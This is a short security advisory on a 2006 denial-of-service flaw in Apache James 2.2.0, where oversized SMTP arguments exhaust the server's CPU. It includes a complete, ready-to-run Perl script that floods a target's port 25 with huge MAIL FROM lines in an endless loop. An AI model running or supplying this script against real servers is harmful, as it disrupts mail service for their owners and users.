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Java Apache Mail Enterprise Server (JAMES) DoS
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SUMMARY
The <http://james.apache.org/> Java Apache Mail Enterprise Server (a.k.a.
Apache James) is a 100% pure Java SMTP and POP3 Mail server and NNTP News
server. James also designed to be a complete and portable enterprise mail
engine solution based on currently available open protocols. James is
based upon the Apache <http://avalon.apache.org/> Avalon application
framework.
Apache James is vulnerable to DoS due to misuse of long variables.
DETAILS
Vulnerable Systems:
* Java Apache Mail Enterprise Server (a.k.a. Apache James) version 2.2.0
James SMTP servers are allowing attacker to supply a long variable as an
SMTP argument (such as MAIL) to the SMTP server, because of this
vulnerability the Processor on the server machine will have a workload up
to 100%.
Exploit:
#!/usr/bin/perl -w
use IO::Socket;
print "* DOS buat JAMES ver.2.2.0 by y3dips *\n";
if(@ARGV == 1)
{
my $host = $ARGV[0];
my $i = 1;
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host,
PeerPort=>"25", Reuse=>1)
or die " Cannot Connect to Server !";
while ( $i++ ) {
print $socket "MAIL FROM:" . "fvclz" x 1000000 . "\r\n" and
print " -- sucking CPU resources at $host .....\n";
sleep(1);
}
close $socket;
}
else
{
print " Usage: $0 [target] \r\n\n";
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:y3dips@echo.or.id> y3dips.
The original article can be found at:
<http://advisories.echo.or.id/adv/adv31-y3dips-2006.txt>
http://advisories.echo.or.id/adv/adv31-y3dips-2006.txt
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